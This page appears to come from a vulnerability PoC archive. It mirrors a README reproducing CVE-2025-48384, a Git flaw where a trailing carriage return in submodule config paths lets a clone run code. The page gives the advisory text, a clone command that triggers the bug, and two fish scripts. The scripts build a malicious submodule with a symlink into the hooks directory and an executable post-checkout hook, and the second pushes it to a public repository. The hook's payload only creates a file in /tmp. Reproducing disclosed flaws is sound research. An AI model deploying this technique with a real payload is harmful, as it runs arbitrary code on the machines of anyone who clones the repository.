Goal Reached Thanks to every supporter — we hit 100%!

Goal: 1000 CNY · Raised: 1310 CNY

100%

CVE-2025-48384 PoC — Git allows arbitrary code execution through broken config quoting

Source
Associated Vulnerability
Title:Git allows arbitrary code execution through broken config quoting (CVE-2025-48384)
Description:Git is a fast, scalable, distributed revision control system with an unusually rich command set that provides both high-level operations and full access to internals. When reading a config value, Git strips any trailing carriage return and line feed (CRLF). When writing a config entry, values with a trailing CR are not quoted, causing the CR to be lost when the config is later read. When initializing a submodule, if the submodule path contains a trailing CR, the altered path is read resulting in the submodule being checked out to an incorrect location. If a symlink exists that points the altered path to the submodule hooks directory, and the submodule contains an executable post-checkout hook, the script may be unintentionally executed after checkout. This vulnerability is fixed in v2.43.7, v2.44.4, v2.45.4, v2.46.4, v2.47.3, v2.48.2, v2.49.1, and v2.50.1.
Readme
# CVE-2025-48384: Breaking git with a carriage return and cloning RCE

Reproduction from <https://dgl.cx/2025/07/git-clone-submodule-cve-2025-48384>. All credits to David Leadbeater.

This is a basic reproduction attempt of the vulnerability.

To trigger, do `git clone --recursive https://github.com/acheong08/CVE-2025-48384` on a vulnerable git version and you'll find a `/tmp/fishsucks` file suddenly appearing.

I was able to reproduce on git version 2.50.0.

Below is the script used to test locally.

```fish
#!/usr/bin/fish
git init sub
echo '#!/usr/bin/env bash
touch /tmp/fishsucks
' > sub/post-checkout
chmod +x sub/post-checkout
git -C sub add post-checkout
git -C sub commit -m hook

git init repo
git -C repo -c protocol.file.allow=always submodule add "$PWD/sub" sub
git -C repo mv sub (printf "sub\r")

git config unset -f repo/.gitmodules submodule.sub.path
printf "\tpath = \"sub\r\"\n" >> repo/.gitmodules

git config unset -f repo/.git/modules/sub/config core.worktree
printf "[core]\n\tworktree = \"../../../sub\r\"\n" >> repo/.git/modules/sub/config

ln -s .git/modules/sub/hooks repo/sub
git -C repo add -A
git -C repo commit -m submodule

git -c protocol.file.allow=always clone --recurse-submodules repo bad-clone
not test -f "/tmp/fishsucks"
rm -rf ./repo ./sub ./bad-clone
```

Modified script for pushing to Github:

```fish
#!/usr/bin/fish
if not test -d sub
    git clone https://github.com/acheong08/totallynotsuspicious.git sub
else
    git -C sub pull
end

echo '#!/usr/bin/env bash
touch /tmp/fishsucks
' > sub/post-checkout
chmod +x sub/post-checkout
git -C sub add post-checkout
git -C sub commit -m hook; or true
git -C sub push origin HEAD

rm -rf repo
git init repo
git -C repo -c protocol.file.allow=always submodule add https://github.com/acheong08/totallynotsuspicious.git sub
git -C repo mv sub (printf "sub\r")

git config unset -f repo/.gitmodules submodule.sub.path
printf "\tpath = \"sub\r\"\n" >> repo/.gitmodules

git config unset -f repo/.git/modules/sub/config core.worktree
printf "[core]\n\tworktree = \"../../../sub\r\"\n" >> repo/.git/modules/sub/config

ln -s .git/modules/sub/hooks repo/sub
git -C repo add -A
git -C repo commit -m submodule

git -c protocol.file.allow=always clone --recurse-submodules repo bad-clone
not test -f "/tmp/fishsucks"
```
File Snapshot

Log in to view the POC file snapshot cached by Shenlong Bot

Log in to view
Remarks
    1. It is advised to access via the original source first.
    2. Local POC snapshots are reserved for subscribers — if the original source is unavailable, the local mirror is part of the paid plan.
    3. Mirroring, verifying, and maintaining this POC archive takes ongoing effort, so local snapshots are a paid feature. Your subscription keeps the archive online — thank you for the support. View subscription plans →